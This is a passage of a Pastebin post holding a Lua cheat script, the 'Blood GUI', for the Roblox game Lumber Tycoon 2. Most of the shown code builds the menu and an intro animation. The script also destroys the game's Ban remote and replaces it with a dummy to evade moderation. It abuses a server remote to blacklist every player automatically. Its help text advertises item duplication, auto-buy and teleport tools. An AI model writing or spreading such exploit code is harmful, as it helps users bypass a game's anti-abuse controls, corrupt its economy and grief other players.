SirBabyQuack

Lumber Tycoon 2 Blood GUI

Sep 29th, 2019
1,112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 164.01 KB | None | 0 0
  1. -- Objects
  2.  
  3. local Intro = Instance.new("ScreenGui")
  4. local IntroImage = Instance.new("ImageLabel")
  5. local _1 = Instance.new("TextLabel")
  6. local _2 = Instance.new("TextLabel")
  7. local _3 = Instance.new("TextLabel")
  8. local _4 = Instance.new("TextLabel")
  9. local _5 = Instance.new("TextLabel")
  10. local _6 = Instance.new("TextLabel")
  11. local _7 = Instance.new("TextLabel")
  12.  
  13. -- Properties
  14.  
  15. Intro.Name = "Intro"
  16. Intro.Parent = game.CoreGui
  17.  
  18. IntroImage.Name = "IntroImage"
  19. IntroImage.Parent = Intro
  20. IntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  21. IntroImage.BackgroundTransparency = 1
  22. IntroImage.BorderColor3 = Color3.new(1, 1, 1)
  23. IntroImage.BorderSizePixel = 0
  24. IntroImage.Position = UDim2.new(0.400, 0, 0.200, 0)
  25. IntroImage.Size = UDim2.new(0, 356, 0, 347)
  26. IntroImage.Image = "rbxassetid://1130382821"
  27.  
  28. _1.Name = "1"
  29. _1.Parent = IntroImage
  30. _1.BackgroundColor3 = Color3.fromRGB(249, 214, 46)
  31. _1.BackgroundTransparency = 1
  32. _1.BorderSizePixel = 0
  33. _1.Position = UDim2.new(0.109550565, 0, 0.423631132, 0)
  34. _1.Size = UDim2.new(0, 40, 0, 53)
  35. _1.Font = Enum.Font.ArialBold
  36. _1.FontSize = Enum.FontSize.Size14
  37. _1.Text = " "
  38. _1.TextColor3 = Color3.new(255, 0, 0)
  39. _1.TextScaled = true
  40. _1.TextSize = 14
  41. _1.TextWrapped = true
  42.  
  43. _2.Name = "2"
  44. _2.Parent = IntroImage
  45. _2.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  46. _2.BackgroundTransparency = 1
  47. _2.BorderSizePixel = 0
  48. _2.Position = UDim2.new(0.221910119, 0, 0.423631132, 0)
  49. _2.Size = UDim2.new(0, 40, 0, 53)
  50. _2.Font = Enum.Font.ArialBold
  51. _2.FontSize = Enum.FontSize.Size14
  52. _2.Text = "B"
  53. _2.TextColor3 = Color3.new(255, 0, 0)
  54. _2.TextScaled = true
  55. _2.TextSize = 14
  56. _2.TextWrapped = true
  57.  
  58. _3.Name = "3"
  59. _3.Parent = IntroImage
  60. _3.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  61. _3.BackgroundTransparency = 1
  62. _3.BorderSizePixel = 0
  63. _3.Position = UDim2.new(0.334269673, 0, 0.423631132, 0)
  64. _3.Size = UDim2.new(0, 40, 0, 53)
  65. _3.Font = Enum.Font.ArialBold
  66. _3.FontSize = Enum.FontSize.Size14
  67. _3.Text = "L"
  68. _3.TextColor3 = Color3.new(255, 0, 0)
  69. _3.TextScaled = true
  70. _3.TextSize = 14
  71. _3.TextWrapped = true
  72.  
  73. _4.Name = "4"
  74. _4.Parent = IntroImage
  75. _4.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  76. _4.BackgroundTransparency = 1
  77. _4.BorderSizePixel = 0
  78. _4.Position = UDim2.new(0.446629226, 0, 0.423631132, 0)
  79. _4.Size = UDim2.new(0, 40, 0, 53)
  80. _4.Font = Enum.Font.ArialBold
  81. _4.FontSize = Enum.FontSize.Size14
  82. _4.Text = "O"
  83. _4.TextColor3 = Color3.new(255, 0, 0)
  84. _4.TextScaled = true
  85. _4.TextSize = 14
  86. _4.TextWrapped = true
  87.  
  88. _5.Name = "5"
  89. _5.Parent = IntroImage
  90. _5.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  91. _5.BackgroundTransparency = 1
  92. _5.BorderSizePixel = 0
  93. _5.Position = UDim2.new(0.55898881, 0, 0.423631132, 0)
  94. _5.Size = UDim2.new(0, 40, 0, 53)
  95. _5.Font = Enum.Font.ArialBold
  96. _5.FontSize = Enum.FontSize.Size14
  97. _5.Text = "O"
  98. _5.TextColor3 = Color3.new(255, 0, 0)
  99. _5.TextScaled = true
  100. _5.TextSize = 14
  101. _5.TextWrapped = true
  102.  
  103. _6.Name = "6"
  104. _6.Parent = IntroImage
  105. _6.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  106. _6.BackgroundTransparency = 1
  107. _6.BorderSizePixel = 0
  108. _6.Position = UDim2.new(0.671348333, 0, 0.423631132, 0)
  109. _6.Size = UDim2.new(0, 40, 0, 53)
  110. _6.Font = Enum.Font.ArialBold
  111. _6.FontSize = Enum.FontSize.Size14
  112. _6.Text = "D"
  113. _6.TextColor3 = Color3.new(255, 0, 0)
  114. _6.TextScaled = true
  115. _6.TextSize = 14
  116. _6.TextWrapped = true
  117.  
  118. _7.Name = "7"
  119. _7.Parent = IntroImage
  120. _7.BackgroundColor3 = Color3.new(1, 1, 1)
  121. _7.BackgroundTransparency = 1
  122. _7.BorderSizePixel = 0
  123. _7.Position = UDim2.new(0.775280893, 0, 0.423631132, 0)
  124. _7.Size = UDim2.new(0, 40, 0, 53)
  125. _7.Font = Enum.Font.ArialBold
  126. _7.FontSize = Enum.FontSize.Size14
  127. _7.Text = " "
  128. _7.TextColor3 = Color3.new(255, 0, 0)
  129. _7.TextScaled = true
  130. _7.TextSize = 14
  131. _7.TextWrapped = true
  132.  
  133.  
  134.  
  135. _1.TextTransparency = 0.2
  136. wait()
  137. _2.TextTransparency = 0.2
  138. wait()
  139. _3.TextTransparency = 0.2
  140. wait()
  141. _4.TextTransparency = 0.2
  142. wait()
  143. _5.TextTransparency = 0.2
  144. wait()
  145. _6.TextTransparency = 0.2
  146. wait()
  147. _7.TextTransparency = 0.2
  148. wait()
  149. IntroImage.ImageTransparency = 0.2
  150. wait()
  151. _1.TextTransparency = 0.3
  152. wait()
  153. _2.TextTransparency = 0.3
  154. wait()
  155. _3.TextTransparency = 0.3
  156. wait()
  157. _4.TextTransparency = 0.3
  158. wait()
  159. _5.TextTransparency = 0.3
  160. wait()
  161. _6.TextTransparency = 0.3
  162. wait()
  163. _7.TextTransparency = 0.3
  164. wait()
  165. IntroImage.ImageTransparency = 0.3
  166. wait()
  167. _1.TextTransparency = 0.4
  168. wait()
  169. _2.TextTransparency = 0.4
  170. wait()
  171. _3.TextTransparency = 0.4
  172. wait()
  173. _4.TextTransparency = 0.4
  174. wait()
  175. _5.TextTransparency = 0.4
  176. wait()
  177. _6.TextTransparency = 0.4
  178. wait()
  179. _7.TextTransparency = 0.4
  180. wait()
  181. IntroImage.ImageTransparency = 0.4
  182. wait()
  183. _1.TextTransparency = 0.5
  184. wait()
  185. _2.TextTransparency = 0.5
  186. wait()
  187. _3.TextTransparency = 0.4
  188. wait()
  189. _4.TextTransparency = 0.5
  190. wait()
  191. _5.TextTransparency = 0.5
  192. wait()
  193. _6.TextTransparency = 0.5
  194. wait()
  195. _7.TextTransparency = 0.5
  196. wait()
  197. IntroImage.ImageTransparency = 0.5
  198. wait()
  199. _1.TextTransparency = 0.6
  200. wait()
  201. _2.TextTransparency = 0.6
  202. wait()
  203. _3.TextTransparency = 0.6
  204. wait()
  205. _4.TextTransparency = 0.6
  206. wait()
  207. _5.TextTransparency = 0.6
  208. wait()
  209. _6.TextTransparency = 0.6
  210. wait()
  211. _7.TextTransparency = 0.6
  212. wait()
  213. IntroImage.ImageTransparency = 0.6
  214. wait()
  215. _1.TextTransparency = 0.7
  216. wait()
  217. _2.TextTransparency = 0.7
  218. wait()
  219. _3.TextTransparency = 0.7
  220. wait()
  221. _4.TextTransparency = 0.7
  222. wait()
  223. _5.TextTransparency = 0.7
  224. wait()
  225. _6.TextTransparency = 0.7
  226. wait()
  227. _7.TextTransparency = 0.7
  228. wait()
  229. IntroImage.ImageTransparency = 0.7
  230. wait()
  231. _1.TextTransparency = 0.8
  232. wait()
  233. _2.TextTransparency = 0.8
  234. wait()
  235. _3.TextTransparency = 0.8
  236. wait()
  237. _4.TextTransparency = 0.8
  238. wait()
  239. _5.TextTransparency = 0.8
  240. wait()
  241. _6.TextTransparency = 0.8
  242. wait()
  243. _7.TextTransparency = 0.8
  244. wait()
  245. IntroImage.ImageTransparency = 0.8
  246. wait()
  247. _1.TextTransparency = 0.9
  248. wait()
  249. _2.TextTransparency = 0.9
  250. wait()
  251. _3.TextTransparency = 0.9
  252. wait()
  253. _4.TextTransparency = 0.9
  254. wait()
  255. _5.TextTransparency = 0.9
  256. wait()
  257. _6.TextTransparency = 0.9
  258. wait()
  259. _7.TextTransparency = 0.9
  260. wait()
  261. IntroImage.ImageTransparency = 0.9
  262. wait()
  263. _1.TextTransparency = 1
  264. wait()
  265. _2.TextTransparency = 1
  266. wait()
  267. _3.TextTransparency = 1
  268. wait()
  269. _4.TextTransparency = 1
  270. wait()
  271. _5.TextTransparency = 1
  272. wait()
  273. _6.TextTransparency = 1
  274. wait()
  275. _7.TextTransparency = 1
  276. wait()
  277. IntroImage.ImageTransparency = 0.9
  278. wait()
  279. _1.TextTransparency = 1.1
  280. wait()
  281. _2.TextTransparency = 1.1
  282. wait()
  283. _3.TextTransparency = 1.1
  284. wait()
  285. _4.TextTransparency = 1.1
  286. wait()
  287. _5.TextTransparency = 1.1
  288. wait()
  289. _6.TextTransparency = 1.1
  290. wait()
  291. _7.TextTransparency = 1.1
  292. wait()
  293. IntroImage.ImageTransparency = 5.1
  294. wait()
  295. Intro:Destroy()
  296. wait()
  297.  
  298. local s = Instance.new("Sound")
  299. s.Name = "Sound"
  300. s.SoundId = "http://www.roblox.com/asset/?id=2528420941"
  301. s.Volume = 0
  302. s.Looped = false
  303. s.archivable = false
  304. s.Parent = game.Workspace
  305. --Join
  306.  
  307. local k = Instance.new("Sound")
  308. k.Name = "Soundzz"
  309. k.SoundId = "http://www.roblox.com/asset/?id=305977837"
  310. k.Volume = 0
  311. k.Looped = false
  312. k.archivable = false
  313. k.Parent = game.Workspace
  314. --Left
  315.  
  316. local q = Instance.new("Sound")
  317. q.Name = "Soundzzzz"
  318. q.SoundId = "http://www.roblox.com/asset/?id=249869145"
  319. q.Volume = 0
  320. q.Looped = false
  321. q.archivable = false
  322. q.Parent = game.Workspace
  323. --Systems Online
  324.  
  325. local function SendNotification(title,text,duration,...)
  326. game.StarterGui:SetCore("SendNotification", {
  327. Title = title;
  328. Text = text;
  329. Icon = "";
  330. Duration = duration;
  331. })
  332. end
  333.  
  334. game.Players.ChildAdded:Connect(function(player)
  335. if not pcall (function()
  336. SendNotification("Player JOINED",""..player.Name.." has JOINED the game",5 )
  337. s:Play()
  338. end) then
  339. print ("Error")
  340. end
  341. end)
  342. ---------------------------------------------------------------------
  343. -- Same extra's apply down here as well.
  344.  
  345. game.Players.ChildRemoved:Connect(function(player)
  346. if not pcall (function()
  347. SendNotification("Player LEFT",""..player.Name.." has LEFT the game",4.4 )
  348. k:Play()
  349. end) then
  350. print ("Error")
  351. end
  352. end)
  353.  
  354. SendNotification("Loaded","Join and leave detector is loaded",2)
  355. q:Play()
  356.  
  357. -- Variables --
  358.  
  359. local Script = "BLOOD"
  360. local gFont = "SourceSans"
  361. local Visi = true
  362.  
  363. -- Functions --
  364.  
  365. function Log(text, r, g, b, font)
  366. game.StarterGui:SetCore("ChatMakeSystemMessage", {
  367. Text = "{" .. tostring(Script) .. "} - " .. text;
  368. Color = Color3.new(r, g, b);
  369. Font = Enum.Font[font];
  370. FontSize = Enum.FontSize.Size10;
  371. })
  372. end
  373. Log("Loading framework...", 255,0,0, tostring(gFont))
  374. ---------------------------------------------------------------------
  375.  
  376. -- Automatically Add players to Blacklist --
  377.  
  378. Mouse = game.Players.LocalPlayer:GetMouse()
  379.  
  380. game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
  381. Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
  382.  
  383. Client = game.ReplicatedStorage.Interaction.ClientSetListPlayer
  384. players = game.Players
  385. for i, v in pairs(players:GetPlayers()) do
  386. if v.Name ~= players.LocalPlayer.Name then
  387. Client:InvokeServer(players.LocalPlayer.BlacklistFolder, v, true)
  388. end
  389. end
  390. players.PlayerAdded:connect(function(plr)
  391. Client:InvokeServer(players.LocalPlayer.BlacklistFolder, plr, true)
  392. end)
  393.  
  394. game:GetService("StarterGui"):SetCore("SendNotification", {
  395. Title = "BLOOD",
  396. Text = "Loaded Successful."
  397. })
  398.  
  399. local players = game:GetService('Players')
  400. if game.Players.LocalPlayer then
  401. game.StarterGui:SetCore('SendNotification', {
  402. Title = ' '.. players.LocalPlayer.Name..'!',
  403. Text = 'Welcome to Bloods GUI!',
  404. Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..players.LocalPlayer.Name..[[&RAND]] .. math.random(1,10000000),
  405. Duration = 5,
  406. })
  407. end
  408.  
  409. ---------------------------------------------------------------------
  410. WCollide = "Nothing"
  411. afkactive = false
  412. CustomLocationSet = false
  413.  
  414. local BLOOD = Instance.new("ScreenGui")
  415. local MainFrame = Instance.new("Frame")
  416. local ImageLabel = Instance.new("ImageLabel")
  417. local OpenFrame = Instance.new("Frame")
  418. local Open = Instance.new("ImageButton")
  419. local CloseBLOOD = Instance.new("TextButton")
  420. local Minimize = Instance.new("TextButton")
  421. local MenuFrame = Instance.new("Frame")
  422. local MenuFramea = Instance.new("Frame")
  423. local AIntroImage = Instance.new("ImageLabel")
  424. local AIntroImage1 = Instance.new("ImageLabel")
  425. local BloodFrameInfo = Instance.new("TextLabel")
  426. local Picker = Instance.new("ScrollingFrame")
  427. local AIntroImage = Instance.new("ImageButton")
  428. local ChangeItem = Instance.new("Frame")
  429. local CurrentItem = Instance.new("ImageButton")
  430.  
  431.  
  432. --Properties:
  433. BLOOD.Name = "BLOOD"
  434. BLOOD.Parent = game.CoreGui
  435.  
  436. OpenFrame.Name = "OpenFrame"
  437. OpenFrame.Parent = BLOOD
  438. OpenFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  439. OpenFrame.BorderColor3 = Color3.fromRGB(196, 40, 28)
  440. OpenFrame.Position = UDim2.new(0.5, -40, 0, -28)
  441. OpenFrame.Size = UDim2.new(0, 80, 0, 20)
  442.  
  443. Open.Name = "Open"
  444. Open.Parent = OpenFrame
  445. Open.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
  446. Open.BorderColor3 = Color3.fromRGB(196, 40, 28)
  447. Open.Size = UDim2.new(0, 80, 0, 20)
  448. Open.Image = "rbxassetid://3630810430"
  449. Open.Selectable = true
  450.  
  451.  
  452. MainFrame.Name = "MainFrame"
  453. MainFrame.Parent = BLOOD
  454. MainFrame.Active = true
  455. MainFrame.Draggable = true
  456. MainFrame.BackgroundColor3 = Color3.new(1, 1, 1)
  457. MainFrame.Position = UDim2.new(0.0111675123, 0, 0.436827958, 0)
  458. MainFrame.Selectable = true
  459. MainFrame.Size = UDim2.new(0, 500, 0, 500)
  460. MainFrame.Visible = false
  461.  
  462. ImageLabel.Name = "ImageLabel"
  463. ImageLabel.Parent = MainFrame
  464. ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  465. ImageLabel.Position = UDim2.new(-0.000475523295, 0, -0.00117481197, 0)
  466. ImageLabel.Size = UDim2.new(0, 500, 0, 500)
  467. ImageLabel.Image = "rbxassetid://3883502641"
  468.  
  469. CloseBLOOD.Name = "CloseBLOOD"
  470. CloseBLOOD.Parent = MainFrame
  471. CloseBLOOD.BackgroundColor3 = Color3.new(0, 0, 0)
  472. CloseBLOOD.BorderColor3 = Color3.fromRGB(196, 40, 28)
  473. CloseBLOOD.Position = UDim2.new(0, 5, 0, 5)
  474. CloseBLOOD.Size = UDim2.new(0, 20, 0, 20)
  475. CloseBLOOD.Font = Enum.Font.Fantasy
  476. CloseBLOOD.FontSize = Enum.FontSize.Size18
  477. CloseBLOOD.Text = "X"
  478. CloseBLOOD.TextColor3 = Color3.new(1, 1, 1)
  479. CloseBLOOD.TextScaled = true
  480. CloseBLOOD.TextWrapped = true
  481. CloseBLOOD.TextSize = 17
  482.  
  483. Minimize.Name = "Minimize"
  484. Minimize.Parent = MainFrame
  485. Minimize.BackgroundColor3 = Color3.new(0, 0, 0)
  486. Minimize.BorderColor3 = Color3.fromRGB(196, 40, 28)
  487. Minimize.Position = UDim2.new(0, 26, 0, 5)
  488. Minimize.Size = UDim2.new(0, 20, 0, 20)
  489. Minimize.Font = Enum.Font.Fantasy
  490. Minimize.FontSize = Enum.FontSize.Size18
  491. Minimize.Text = "-"
  492. Minimize.TextColor3 = Color3.new(1, 1, 1)
  493. Minimize.TextScaled = true
  494. Minimize.TextWrapped = true
  495. Minimize.TextSize = 17
  496.  
  497. MenuFrame.Name = "MenuFrame"
  498. MenuFrame.Parent = MainFrame
  499. MenuFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  500. MenuFrame.BackgroundTransparency = 1
  501. MenuFrame.BorderColor3 = Color3.new(0, 1, 0)
  502. MenuFrame.Position = UDim2.new(0, 5, 0, 30)
  503. MenuFrame.Size = UDim2.new(0, 170, 0,400)
  504.  
  505. MenuFramea.Name = "MenuFrame"
  506. MenuFramea.Parent = MainFrame
  507. MenuFramea.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  508. MenuFramea.BackgroundTransparency = 1
  509. MenuFramea.BorderColor3 = Color3.new(0, 1, 0)
  510. MenuFramea.Position = UDim2.new(0, 270, 0, 140)
  511. MenuFramea.Size = UDim2.new(0, 120, 0,350)
  512.  
  513. AIntroImage.Name = "IntroImage"
  514. AIntroImage.Parent = MainFrame
  515. AIntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  516. AIntroImage.BackgroundTransparency = 1
  517. AIntroImage.BorderColor3 = Color3.new(1, 1, 1)
  518. AIntroImage.BorderSizePixel = 0
  519. AIntroImage.Position = UDim2.new(0, 10, 0, 335)
  520. AIntroImage.Size = UDim2.new(0, 120, 0, 30)
  521. AIntroImage.Image = "rbxassetid://3630810430"
  522. AIntroImage.Visible = true
  523.  
  524. AIntroImage1.Name = "IntroImage"
  525. AIntroImage1.Parent = MainFrame
  526. AIntroImage1.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  527. AIntroImage1.BackgroundTransparency = 1
  528. AIntroImage1.BorderColor3 = Color3.new(1, 1, 1)
  529. AIntroImage1.BorderSizePixel = 0
  530. AIntroImage1.Position = UDim2.new(0, 10, 0, 370)
  531. AIntroImage1.Size = UDim2.new(0, 120, 0, 120)
  532. AIntroImage1.Image = "rbxassetid://3940167130"
  533. AIntroImage1.Visible = true
  534.  
  535. BloodFrameInfo.Name = "BloodFrameInfo"
  536. BloodFrameInfo.Parent = MenuFrame
  537. BloodFrameInfo.BackgroundColor3 = Color3.new(0, 0, 0)
  538. BloodFrameInfo.BackgroundTransparency = 1
  539. BloodFrameInfo.Position = UDim2.new(0, 3, 0, 3)
  540. BloodFrameInfo.Size = UDim2.new(0, 164, 0, 310)
  541. BloodFrameInfo.Font = Enum.Font.Fantasy
  542. BloodFrameInfo.FontSize = Enum.FontSize.Size14
  543. BloodFrameInfo.Text = "All current players and new players who join will be automatically blacklisted.\n\nTP Tool adds a backpack item to click teleport you.\n\nNew dupe added just click this button move items then turn off and reload.\n\nAuto buy added just open the backpack and click on the item you want.\n\nA BIG THANKS TO JOHIRO FOR WORKING ON THE NEW SCRIPTS.\n\nScripts are big so give time to load."
  544. BloodFrameInfo.TextColor3 = Color3.new(0, 0, 0)
  545. BloodFrameInfo.TextWrapped = true
  546. BloodFrameInfo.TextSize = 14
  547. BloodFrameInfo.Visible = true
  548. Log("Loaded framework successfully!", 0,255,255, tostring(gFont))
  549.  
  550. local Depart = Instance.new("TextLabel")
  551.  
  552. Depart.Name = "Depart"
  553. Depart.Parent = MainFrame
  554. Depart.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
  555. Depart.BorderColor3 = Color3.new(0, 0, 0)
  556. Depart.BorderSizePixel = 2
  557. Depart.Position = UDim2.new(0, 50, 0, 5)
  558. Depart.Size = UDim2.new(0, 130, 0, 20)
  559. Depart.BackgroundTransparency=1
  560. Depart.Font = Enum.Font.Fantasy
  561. Depart.FontSize = Enum.FontSize.Size18
  562. Depart.Text = "Ferry Departs: 0"
  563. Depart.TextColor3 = Color3.new(1, 1, 1)
  564. Depart.TextSize = 15
  565. Depart.TextStrokeColor3 = Color3.new(1, 1, 1)
  566. Depart.TextWrapped = true
  567.  
  568. game.Workspace.Ferry.TimeToDeparture.Changed:connect(function()
  569. Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
  570. if Depart.Text == "Ferry Departs: 0" then
  571. wait(6)
  572. Depart.Text = "Ferry has Departed"
  573. else
  574. Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
  575. end
  576. end)
  577.  
  578. ChangeItem.Name = "ChangeItem"
  579. ChangeItem.Parent = MainFrame
  580. ChangeItem.BackgroundColor3 = Color3.fromRGB(193, 40, 28)
  581. ChangeItem.BorderColor3 = Color3.new(0, 0, 0)
  582. ChangeItem.BorderSizePixel = 2
  583. ChangeItem.Position = UDim2.new(0, 390, 1, -110)
  584. ChangeItem.Size = UDim2.new(0, 100, 0, 100)
  585. ChangeItem.ZIndex = 2
  586.  
  587. CurrentItem.Name = "CurrentItem"
  588. CurrentItem.Parent = ChangeItem
  589. CurrentItem.BackgroundColor3 = Color3.new(1, 1, 1)
  590. CurrentItem.BorderColor3 = Color3.new(0, 0, 0)
  591. CurrentItem.BorderSizePixel = 2
  592. CurrentItem.Position = UDim2.new(0, 10, 0, 10)
  593. CurrentItem.Size = UDim2.new(0, 80, 0, 80)
  594. CurrentItem.ZIndex = 2
  595. CurrentItem.Image = "rbxassetid://3886256996"
  596. CurrentItem.ScaleType = Enum.ScaleType.Crop
  597.  
  598. Picker.Name = "Picker"
  599. Picker.Parent = MainFrame
  600. Picker.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  601. Picker.BorderColor3 = Color3.new(0, 0, 0)
  602. Picker.BorderSizePixel = 2
  603. Picker.Position = UDim2.new(0, 390, 1, -335)
  604. Picker.Size = UDim2.new(0, 100, 0, 220)
  605. Picker.CanvasPosition = Vector2.new(0,0)
  606. Picker.CanvasSize = UDim2.new(0, 0, 0, 687)
  607. Picker.ScrollBarThickness = 10
  608. Picker.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Left
  609. Picker.Visible = false
  610.  
  611. local PlayerFrame = Instance.new("Frame")
  612. local Player1 = Instance.new("TextButton")
  613. local Player2 = Instance.new("TextButton")
  614. local Player3 = Instance.new("TextButton")
  615. local Player4 = Instance.new("TextButton")
  616. local Player5 = Instance.new("TextButton")
  617. local Player6 = Instance.new("TextButton")
  618. local PlyrSel = Instance.new("TextLabel")
  619. local TpPlayer = Instance.new("TextButton")
  620. local TpBase = Instance.new("TextButton")
  621. local Player = Instance.new("ImageButton")
  622.  
  623. Player.Name = "Player"
  624. Player.Parent = Picker
  625. Player.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  626. Player.BorderColor3 = Color3.new(0, 0, 0)
  627. Player.Position = UDim2.new(0, 15, 0, 5)
  628. Player.Size = UDim2.new(0, 80, 0, 80)
  629. Player.ZIndex = 3
  630. Player.Image = "rbxassetid://3888401903"
  631. Player.ScaleType = Enum.ScaleType.Crop
  632. Player.MouseButton1Click:Connect(function()
  633. CurrentItem.Image = "rbxassetid://3886256996"
  634. AIntroImage.Visible = true
  635. AIntroImage1.Visible = true
  636. end)
  637.  
  638.  
  639. PlayerFrame.Name = "PlayerFrame"
  640. PlayerFrame.Parent = MenuFrame
  641. PlayerFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  642. PlayerFrame.BackgroundTransparency = 0
  643. PlayerFrame.BorderColor3 = Color3.new(0, 0, 0)
  644. PlayerFrame.Size = UDim2.new(0, 170, 0, 290)
  645. PlayerFrame.Visible = false
  646.  
  647. PlyrSel.Name = "PlyrSel"
  648. PlyrSel.Parent = PlayerFrame
  649. PlyrSel.BackgroundColor3 = Color3.new(0, 0, 0)
  650. PlyrSel.BackgroundTransparency = 0.15
  651. PlyrSel.BorderColor3 = Color3.new(0, 0, 0)
  652. PlyrSel.Position = UDim2.new(0, 5, 0, 5)
  653. PlyrSel.Size = UDim2.new(0, 160, 0, 20)
  654. PlyrSel.Font = Enum.Font.SourceSansBold
  655. PlyrSel.FontSize = Enum.FontSize.Size18
  656. PlyrSel.Text = "SELECT A PLAYER"
  657. PlyrSel.TextColor3 = Color3.fromRGB(255, 0, 0)
  658. PlyrSel.TextScaled = true
  659. PlyrSel.TextSize = 17
  660. PlyrSel.TextWrapped = true
  661.  
  662. Player1.Name = "Player1"
  663. Player1.Parent = PlayerFrame
  664. Player1.BackgroundColor3 = Color3.new(0, 0, 0)
  665. Player1.BorderColor3 = Color3.new(0, 0, 0)
  666. Player1.Position = UDim2.new(0, 5, 0, 40)
  667. Player1.Size = UDim2.new(0, 160, 0, 20)
  668. Player1.Font = Enum.Font.SourceSansSemibold
  669. Player1.FontSize = Enum.FontSize.Size18
  670. Player1.Text = ""
  671. Player1.TextColor3 = Color3.fromRGB(255, 0, 0)
  672. Player1.TextSize = 16
  673. Player1.TextWrapped = true
  674.  
  675. Player2.Name = "Player2"
  676. Player2.Parent = PlayerFrame
  677. Player2.BackgroundColor3 = Color3.new(0, 0, 0)
  678. Player2.BorderColor3 = Color3.new(0, 0, 0)
  679. Player2.Position = UDim2.new(0, 5, 0, 65)
  680. Player2.Size = UDim2.new(0, 160, 0, 20)
  681. Player2.Font = Enum.Font.SourceSansSemibold
  682. Player2.FontSize = Enum.FontSize.Size18
  683. Player2.Text = ""
  684. Player2.TextColor3 = Color3.fromRGB(255, 0, 0)
  685. Player2.TextSize = 16
  686. Player2.TextWrapped = true
  687.  
  688. Player3.Name = "Player3"
  689. Player3.Parent = PlayerFrame
  690. Player3.BackgroundColor3 = Color3.new(0, 0, 0)
  691. Player3.BorderColor3 = Color3.new(0, 0, 0)
  692. Player3.Position = UDim2.new(0, 5, 0, 90)
  693. Player3.Size = UDim2.new(0, 160, 0, 20)
  694. Player3.Font = Enum.Font.SourceSansSemibold
  695. Player3.FontSize = Enum.FontSize.Size18
  696. Player3.Text = ""
  697. Player3.TextColor3 = Color3.fromRGB(255, 0, 0)
  698. Player3.TextSize = 16
  699. Player3.TextWrapped = true
  700.  
  701. Player4.Name = "Player4"
  702. Player4.Parent = PlayerFrame
  703. Player4.BackgroundColor3 = Color3.new(0, 0, 0)
  704. Player4.BorderColor3 = Color3.new(0, 0, 0)
  705. Player4.Position = UDim2.new(0, 5, 0, 115)
  706. Player4.Size = UDim2.new(0, 160, 0, 20)
  707. Player4.Font = Enum.Font.SourceSansSemibold
  708. Player4.FontSize = Enum.FontSize.Size18
  709. Player4.Text = ""
  710. Player4.TextColor3 = Color3.fromRGB(255, 0, 0)
  711. Player4.TextSize = 16
  712. Player4.TextWrapped = true
  713.  
  714. Player5.Name = "Player5"
  715. Player5.Parent = PlayerFrame
  716. Player5.BackgroundColor3 = Color3.new(0, 0, 0)
  717. Player5.BorderColor3 = Color3.new(0, 0, 0)
  718. Player5.Position = UDim2.new(0, 5, 0, 140)
  719. Player5.Size = UDim2.new(0, 160, 0, 20)
  720. Player5.Font = Enum.Font.SourceSansSemibold
  721. Player5.FontSize = Enum.FontSize.Size18
  722. Player5.Text = ""
  723. Player5.TextColor3 = Color3.fromRGB(255, 0, 0)
  724. Player5.TextSize = 16
  725. Player5.TextWrapped = true
  726.  
  727. Player6.Name = "Player6"
  728. Player6.Parent = PlayerFrame
  729. Player6.BackgroundColor3 = Color3.new(0, 0, 0)
  730. Player6.BorderColor3 = Color3.new(0, 0, 0)
  731. Player6.Position = UDim2.new(0, 5, 0, 165)
  732. Player6.Size = UDim2.new(0, 160, 0, 20)
  733. Player6.Font = Enum.Font.SourceSansSemibold
  734. Player6.FontSize = Enum.FontSize.Size18
  735. Player6.Text = ""
  736. Player6.TextColor3 = Color3.fromRGB(255, 0, 0)
  737. Player6.TextSize = 16
  738. Player6.TextWrapped = true
  739.  
  740. TpPlayer.Name = "TpPlayer"
  741. TpPlayer.Parent = PlayerFrame
  742. TpPlayer.BackgroundColor3 = Color3.new(0, 0, 0)
  743. TpPlayer.BackgroundTransparency = 0
  744. TpPlayer.BorderColor3 = Color3.new(0, 0, 0)
  745. TpPlayer.Position = UDim2.new(0, 5, 0, 225)
  746. TpPlayer.Size = UDim2.new(0, 75, 0, 35)
  747. TpPlayer.Font = Enum.Font.SourceSansBold
  748. TpPlayer.FontSize = Enum.FontSize.Size18
  749. TpPlayer.Text = "Tp to Player"
  750. TpPlayer.TextColor3 = Color3.fromRGB(255, 0, 0)
  751. TpPlayer.TextScaled = true
  752. TpPlayer.TextWrapped = true
  753. TpPlayer.TextSize = 14
  754.  
  755. TpBase.Name = "TpBase"
  756. TpBase.Parent = PlayerFrame
  757. TpBase.BackgroundColor3 = Color3.new(0, 0, 0)
  758. TpBase.BackgroundTransparency = 0
  759. TpBase.BorderColor3 = Color3.new(0, 0, 0)
  760. TpBase.Position = UDim2.new(0, 90, 0, 225)
  761. TpBase.Size = UDim2.new(0, 75, 0, 35)
  762. TpBase.Font = Enum.Font.SourceSansBold
  763. TpBase.FontSize = Enum.FontSize.Size18
  764. TpBase.Text = "Tp to\nBase"
  765. TpBase.TextColor3 = Color3.fromRGB(255, 0, 0)
  766. TpPlayer.TextSize = 22
  767.  
  768. local Waypoints = Instance.new("ScrollingFrame")
  769. local Stranger = Instance.new("TextButton")
  770. local BobsShack = Instance.new("TextButton")
  771. local PlotTp = Instance.new("TextButton")
